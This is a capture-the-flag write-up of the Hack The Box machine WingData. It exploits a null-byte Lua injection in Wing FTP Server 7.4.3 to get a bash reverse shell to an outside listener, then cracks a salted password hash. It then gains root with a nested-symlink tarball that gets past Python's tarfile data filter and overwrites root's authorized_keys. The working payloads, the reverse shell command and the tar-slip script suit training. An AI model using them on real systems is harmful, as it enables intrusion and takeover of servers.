Introduction #
WingData is an easy-rated Linux machine from Hack The Box. The initial foothold leverages a null-byte injection vulnerability (CVE-2025-47812) in Wing FTP Server v7.4.3, allowing arbitrary Lua code execution to a reverse shell. After extracting and cracking a salted password hash from the application configuration files, horizontal privilege escalation is achieved to pivot to the user wacky. Finally, root access is obtained by exploiting a custom Python backup restoration script; despite using Python’s modern data extraction filter, the script falls victim to a directory traversal technique utilizing nested symlinks to overwrite the root user’s SSH keys.
nmap #
nmap finds two open TCP ports, SSH (22) and HTTP (80):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.10.21
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL+8LZAmzRfTy+4t8PJxEvRWhPho8aZj9ImxRfWn9TKepkxh8pAF3WDu55pd/gaSUGIo9cuOvv+3r6w7IuCpqI4=
| 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFFmcxflCAAe4LPgkg7hOxJen41bu6zaE/y08UnA4oRp
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.66
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add wingdata.htb to /etc/hosts
Web - TCP 80 #
First look at the website shows nice page:

There is a contact form:

That actually sends POST request when filled in:

At the top a pop-up suggests to check a Portal Guide:

When visiting the Client Portal I am redirected to ftp.wingdata.htb - add it to /etc/hosts and check it:
It runs an instance of Wing FTP Server version 7.4.3
CVE-2025-47812 #
Googling for Wing FTP Server v7.4.3 points me towards a CVE-2025-47812
{{ alert }} In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle ‘\0’ bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). This is thus a remote code execution vulnerability that guarantees a total server compromise. This is also exploitable via anonymous FTP accounts. {{ /alert }}
Remote code execution looks promising.
For more information I read THIS awesome writeup by RCE Security.
First, it shows I can use anonymous login:

Which, to my shock, actually worked:


Next, the code execution:
anonymous.]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--


It works, to get a reverse shell I just need to modify the request a little:
local h = io.popen("bash -c 'exec bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'")
So the final username and password looks like this:
username=anonymous%00]]%0dlocal+h+%3d+io.popen("bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.92/4444+0>%261'")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=


The second request hangs, but I get a hit on my listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.92] from (UNKNOWN) [10.129.10.21] 52918
bash: cannot set terminal process group (3538): Inappropriate ioctl for device
bash: no job control in this shell
wingftp@wingdata:/opt/wftpserver$
I am on the host as wingftp and can not do much
wingftp@wingdata:/opt/wftpserver/Data/1/users$ id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
I have to look around for more info.
In the opt/wftpserver/Data there are some interesting files:
wingftp@wingdata:/opt/wftpserver/Data/1/users$ ls
anonymous.xml john.xml maria.xml steve.xml wacky.xml
wingftp@wingdata:/opt/wftpserver/Data/1/users$ cat wacky.xml
<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
<USER>
<UserName>wacky</UserName>
<EnableAccount>1</EnableAccount>
<EnablePassword>1</EnablePassword>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
<SNIP>
This looks like a password hash, neither crackstation nor hashcat was able to crack it. I missed one more file:
wingftp@wingdata:/opt/wftpserver/Data/1$ cat settings.xml
<?xml version="1.0" ?>
<DOMAIN_OPTION Description="Wing FTP Server Domain settings">
<SNIP>
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
<SNIP>
This gives me salt for the password and I can try one more time:
└─$ cat wacky.hash
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
└─$ hashcat -m 1410 wacky.hash ~/Tools/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
<SNIP>
And after a short wait I get the password - !#7Blushing^*Bride5
Now I can SSH in and grab the user flag:
└─$ ssh wacky@10.129.10.21
wacky@10.129.10.21's password:
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 17 04:43:56 2026 from 10.10.14.92
wacky@wingdata:~$ cat user.txt
5e526d80d86fb842a2744c378fe16c46
Root #
As always, starting with sudo -l:
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
Ok, there is something, let’s take a look at the code:
wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.py
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"
def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"
def validate_restore_tag(tag):
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))
def main():
parser = argparse.ArgumentParser(
description="Restore client configuration from a validated backup tarball.",
epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
)
parser.add_argument(
"-b", "--backup",
required=True,
help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
"where <client_id> is a positive integer, e.g., backup_1001.tar)"
)
parser.add_argument(
"-r", "--restore-dir",
required=True,
help="Staging directory name for the restore operation. "
"Must follow the format: restore_<client_user> (e.g., restore_john). "
"Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
)
args = parser.parse_args()
if not validate_backup_name(args.backup):
print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
sys.exit(1)
backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path):
print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
sys.exit(1)
if not args.restore_dir.startswith("restore_"):
print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
sys.exit(1)
tag = args.restore_dir[8:]
if not tag:
print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
sys.exit(1)
if not validate_restore_tag(tag):
print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
sys.exit(1)
staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
print(f"[+] Backup: {args.backup}")
print(f"[+] Staging directory: {staging_dir}")
os.makedirs(staging_dir, exist_ok=True)
try:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
print(f"[+] Extraction completed in {staging_dir}")
except (tarfile.TarError, OSError, Exception) as e:
print(f"[!] Error during extraction: {e}", file=sys.stderr)
sys.exit(2)
if __name__ == "__main__":
main()
This script has a classic Tar Slip (or Path Traversal) vulnerability. Even though the script validates the filename of the backup and the name of the restore directory, it does not validate the contents of the tarball itself.
The Vulnerability: Path Traversal via Tar #
The tarfile module, by default, will extract files to the location specified inside the tar archive. If a file inside my backup_1001.tar is named ../../../../root/.ssh/authorized_keys, the script (running as root via sudo) will happily write the public key to that location.
- Generate a New SSH Key
└─$ ssh-keygen -t rsa -f ./id_rsa -N ""
Generating public/private rsa key pair.
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:BJw5XcZd9fZn1gw3Qu5rnO99vlMcIVkoyYasBDCzp9Q kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| +.oo+.o=..o=o.|
| = =o.+.=++ ..|
| o E..o . .oo.=|
| . o o . .*+|
| . S . .O|
| . oo+|
| = .|
| . ..o|
| .=*|
+----[SHA256]-----+
- Create the payload
python3 -c "
import tarfile
import os
import io
import sys
with open('/tmp/root_key.pub', 'r') as f:
ssh_key = f.read()
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = 'abcdefghijklmnop'
path = ''
with tarfile.open('/opt/backup_clients/backups/backup_9999.tar', 'w') as tar:
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
linkpath = os.path.join('/'.join(steps), 'l'*254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = '../' * len(steps)
tar.addfile(l)
e = tarfile.TarInfo('escape')
e.type = tarfile.SYMTYPE
e.linkname = linkpath + '/../../../../root/.ssh/authorized_keys'
tar.addfile(e)
content = ssh_key.encode()
key_file = tarfile.TarInfo('escape')
key_file.type = tarfile.REGTYPE
key_file.size = len(content)
tar.addfile(key_file, fileobj=io.BytesIO(content))
test = tarfile.TarInfo('test')
test.type = tarfile.SYMTYPE
test.linkname = linkpath + '/../../../../tmp/poc_worked.txt'
tar.addfile(test)
test_content = b'POC_WORKED'
test_file = tarfile.TarInfo('test')
test_file.type = tarfile.REGTYPE
test_file.size = len(test_content)
tar.addfile(test_file, fileobj=io.BytesIO(test_content))
print('[+] GOOOOO: backup_9999.tar')"
The script generates a tar archive to bypass tarfile extraction filters. It plants symlink that appear internal to the archive’s destination folder but resolves back to the absolute filesystem root.
When the vulnerable restoration application extracts the archive with root privileges, the validation filter misinterprets the paths as safe. The process first extracts the nested symlinks, and then immediately extracts a regular file containing my custom SSH public key.
Underlying OS follows the newly created link during the file-write operation, cleanly overwriting the target file at /root/.ssh/authorized_keys and gives persistent root access via SSH.
- Execute
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b /opt/backup_clients/backups/backup_9999.tar -r restore_poc
It worked so I can simply SSH in as root and grab the flag!
ssh -i /tmp/root_key root@10.129.10.21
cat /root/root.txt